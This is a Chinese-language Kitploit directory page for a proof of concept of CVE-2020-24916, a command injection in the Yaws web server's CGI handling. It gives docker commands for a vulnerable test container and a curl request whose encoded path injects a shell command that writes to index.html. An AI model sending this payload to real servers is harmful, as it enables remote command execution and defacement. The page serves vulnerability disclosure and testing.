Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/vulnbe/poc-yaws-cgi-shell-injection
漏洞分析漏洞利用Web应用程序漏洞利用
GitHubvulnbe/poc-yaws-cgi-shell-injection

poc-yaws-cgi-shell-injection

Yaws Web 服务器操作系统命令注入 POC

查看仓库
116年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Yaws Web 服务器中的操作系统命令注入(CVE-2020-24916)

概念验证

构建测试镜像:

docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile .

和/或

运行容器 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi

root@kitploit:~
curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'
curl http://127.0.0.1:8000/index.html

致谢

Alexey Pronin (@vulnbe)

参考

  • 漏洞分析
  • GitHub 上的 Yaws
  • CVE-2020-24916
  • CWE-78:OS 命令中使用的特殊元素未正确中和('OS 命令注入')
下载工具